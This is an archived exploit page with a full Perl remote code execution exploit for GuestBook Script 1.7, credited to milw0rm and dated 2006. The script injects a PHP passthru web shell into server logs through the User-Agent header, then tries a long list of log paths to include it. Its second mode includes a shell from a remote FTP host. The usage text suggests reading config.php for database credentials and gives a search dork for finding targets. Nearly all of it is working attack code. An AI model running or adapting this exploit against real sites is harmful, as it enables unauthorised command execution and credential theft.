Lucene search

K
seebugRootSSV:63413
HistoryJul 01, 2014 - 12:00 a.m.

GuestBook Script <= 1.7 (include_files) Remote Code Execution Exploit

2014-07-0100:00:00
Root
www.seebug.org
26

No description provided by source.


                                                #!/usr/bin/perl
use IO::Socket;

print &#34;guestbook script &#60;= 1.7 exploit\r\n&#34;;
print &#34;rgod rgod\@autistici.org\r\n&#34;;
print &#34;dork: \&#34;powered by guestbook script\&#34;\r\n\r\n&#34;;

# short explaination:
# we have this code in nearly all scripts:
# ...
# if (isset ($include_files) and is_array ($include_files)) {
#              reset ($include_files);
#              while(list($key, $val) = each($include_files))
#              {
#
#                  if ($file_content = include_content($val)) {
#                      $$key = $file_content;
#                  } else {
#                      $$key = &#39;&#60;pre&#62;[&#39; . $txt[&#39;txt_file_not_found&#39;] . &#39;: &#39; . $val . &#39;]&#60;/pre&#62;&#39;;
#                  }
#                  $tpl-&#62;register(&#39;guest&#39;, $key);
#              }
#          }
#...
# here is include_content() function:
#
# function include_content($path)
#          {
#
#              if (is_file($path)) {
#                  ob_start();
#
#                  include($path);
#                  $content = ob_get_contents();
#                  ob_end_clean();
#              }
#
#              if (isset($content)) {
#                  return $content;
#              }
#          }
#
# you can include code from local resources and (on PHP5, because is_file()
# function support ftp wrappers) remote resources, poc:
#
# http://[target]/[path]/index.php?include_files[]=&include_files[1]=/var/log/httpd/access_log
# http://[target]/[path]/index.php?include_files[]=&include_files[1]=ftp://username:[email protected]/suntzu.php
#
# you will not see any output, but code inside the included file will be executed.
# You shoul have a &#34;die()&#34; in included file (to prevent the ob_end_clean() call)
# to see some results...
# This exploit supports two actions:
#
# [1] tries to inject some php code in log files and execute it
# [2] tries to include the code from a ftp location


sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/&#34;%&#34; . unpack(&#34;H2&#34;, $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

if (@ARGV &#60; 4)
{
print &#34;Usage:\r\n&#34;;
print &#34;perl gbs_17_xpl.pl SERVER PATH ACTION[FTP LOCATION] COMMAND\r\n\r\n&#34;;
print &#34;SERVER         - Server where Guestbook Script is installed.\r\n&#34;;
print &#34;PATH           - Path to Guestbook Script (ex: /gbs/ or just /)\r\n&#34;;
print &#34;ACTION         - 1[nothing]\r\n&#34;;
print &#34;                 (tries to include apache error.log file)\r\n\r\n&#34;;
print &#34;                 2[ftp site with the code to include]\r\n\r\n&#34;;
print &#34;COMMAND        - A shell command (\&#34;cat config.php\&#34;\r\n&#34;;
print &#34;                 to see database username & password)\r\n\r\n&#34;;
print &#34;Example:\r\n&#34;;
print &#34;perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 1 cat config.php\r\n&#34;;
print &#34;perl gbs_17_xpl.pl 192.168.1.3 /gbs/ 2ftp://username:password\@192.168.1&#34;;
print &#34;.3/suntzu.php ls -la\r\n\r\n&#34;;
print &#34;Note: to launch action [2] you need this code in suntzu.php :\r\n&#34;;
print &#34;&#60;?php\r\n&#34;;
print &#34;ob_clean();\r\n&#34;;
print &#34;echo 666;\r\n&#34;;
print &#34;if (get_magic_quotes_gpc())\r\n&#34;;
print &#34;{\$_GET[cmd]=stripslashes(\$_GET[cmd]);}\r\n&#34;;
print &#34;passthru(\$_GET[cmd]);\r\n&#34;;
print &#34;echo 666;\r\n&#34;;
print &#34;die;\r\n&#34;;
print &#34;?&#62;\r\n\r\n&#34;;
exit();
}

$serv=$ARGV[0];
$path=$ARGV[1];
$ACTION=urlEncode($ARGV[2]);
$cmd=&#34;&#34;; for ($i=3; $i&#60;=$#ARGV; $i++) {$cmd.=&#34;%20&#34;.urlEncode($ARGV[$i]);};
$temp=substr($ACTION,0,1);

if ($temp==2) { #this works with PHP5 and allow_url_fopen=On
  $FTP=substr($ACTION,1,length($ACTION));
  $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$serv&#34;, PeerPort=&#62;&#34;80&#34;)
  or die &#34;[+] Connecting ... Could not connect to host.\n\n&#34;;
  print $sock &#34;GET &#34;.$path.&#34;index.php?cmd=&#34;.$cmd.&#34;&include_files[]=&include_files[1]=&#34;.$FTP.&#34; HTTP/1.1\r\n&#34;;
  print $sock &#34;Host: &#34;.$serv.&#34;\r\n&#34;;
  print $sock &#34;Connection: close\r\n\r\n&#34;;
  $out=&#34;&#34;;
  while ($answer = &#60;$sock&#62;) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /666/,$out,3;
  if ($#temp&#62;1) {print &#34;\r\nExploit succeeded...\r\n&#34;.$temp[1];exit();}
         else {print &#34;\r\nExploit failed...\r\n&#34;;}

} elsif ($temp==1) { #this works if path to log files is found and u can have access to them
  print &#34;[1] Injecting some code in log files ...\r\n&#34;;
  $CODE=&#34;&#60;?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {\$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);echo 666;die;?&#62;&#34;;
  $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$serv&#34;, PeerPort=&#62;&#34;80&#34;)
  or die &#34;[+] Connecting ... Could not connect to host.\n\n&#34;;
  print $sock &#34;GET &#34;.$path.$CODE.&#34; HTTP/1.1\r\n&#34;;
  print $sock &#34;User-Agent: &#34;.$CODE.&#34;\r\n&#34;;
  print $sock &#34;Host: &#34;.$serv.&#34;\r\n&#34;;
  print $sock &#34;Connection: close\r\n\r\n&#34;;
  close($sock);

  # fill with possible locations
  my @paths= (
  &#34;/var/log/httpd/access_log&#34;,         #Fedora, default
  &#34;/var/log/httpd/error_log&#34;,          #...
  &#34;../apache/logs/error.log&#34;,          #Windows
  &#34;../apache/logs/access.log&#34;,
  &#34;../../apache/logs/error.log&#34;,
  &#34;../../apache/logs/access.log&#34;,
  &#34;../../../apache/logs/error.log&#34;,
  &#34;../../../apache/logs/access.log&#34;,  #and so on... collect some log paths, you will succeed
  &#34;/etc/httpd/logs/acces_log&#34;,
  &#34;/etc/httpd/logs/acces.log&#34;,
  &#34;/etc/httpd/logs/error_log&#34;,
  &#34;/etc/httpd/logs/error.log&#34;,
  &#34;/var/www/logs/access_log&#34;,
  &#34;/var/www/logs/access.log&#34;,
  &#34;/usr/local/apache/logs/access_log&#34;,
  &#34;/usr/local/apache/logs/access.log&#34;,
  &#34;/var/log/apache/access_log&#34;,
  &#34;/var/log/apache/access.log&#34;,
  &#34;/var/log/access_log&#34;,
  &#34;/var/www/logs/error_log&#34;,
  &#34;/var/www/logs/error.log&#34;,
  &#34;/usr/local/apache/logs/error_log&#34;,
  &#34;/usr/local/apache/logs/error.log&#34;,
  &#34;/var/log/apache/error_log&#34;,
  &#34;/var/log/apache/error.log&#34;,
  &#34;/var/log/access_log&#34;,
  &#34;/var/log/error_log&#34;
  );

  for ($i=0; $i&#60;=$#paths; $i++)
  {
    $a = $i + 2;
    print &#34;[&#34;.$a.&#34;] trying with &#34;.$paths[$i].&#34;\r\n&#34;;
    $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$serv&#34;, PeerPort=&#62;&#34;80&#34;)
    or die &#34;[+] Connecting ... Could not connect to host.\n\n&#34;;
    print $sock &#34;GET &#34;.$path.&#34;index.php?cmd=&#34;.$cmd.&#34;&include_files[]=&include_files[1]=&#34;.urlEncode($paths[$i]).&#34; HTTP/1.1\r\n&#34;;
    print $sock &#34;Host: &#34;.$serv.&#34;\r\n&#34;;
    print $sock &#34;Connection: close\r\n\r\n&#34;;
    $out=&#39;&#39;;
    while ($answer = &#60;$sock&#62;) {
    $out.=$answer;
    }
    close($sock);
    @temp= split /666/,$out,3;
    if ($#temp&#62;1) {print &#34;\r\nExploit succeeded...\r\n&#34;.$temp[1];exit();}

  }
  #if you are here...
  print &#34;\r\nExploit failed...\r\n&#34;;
} else {
  print &#34;No action specified ...\r\n&#34;;
}

# milw0rm.com [2006-03-11]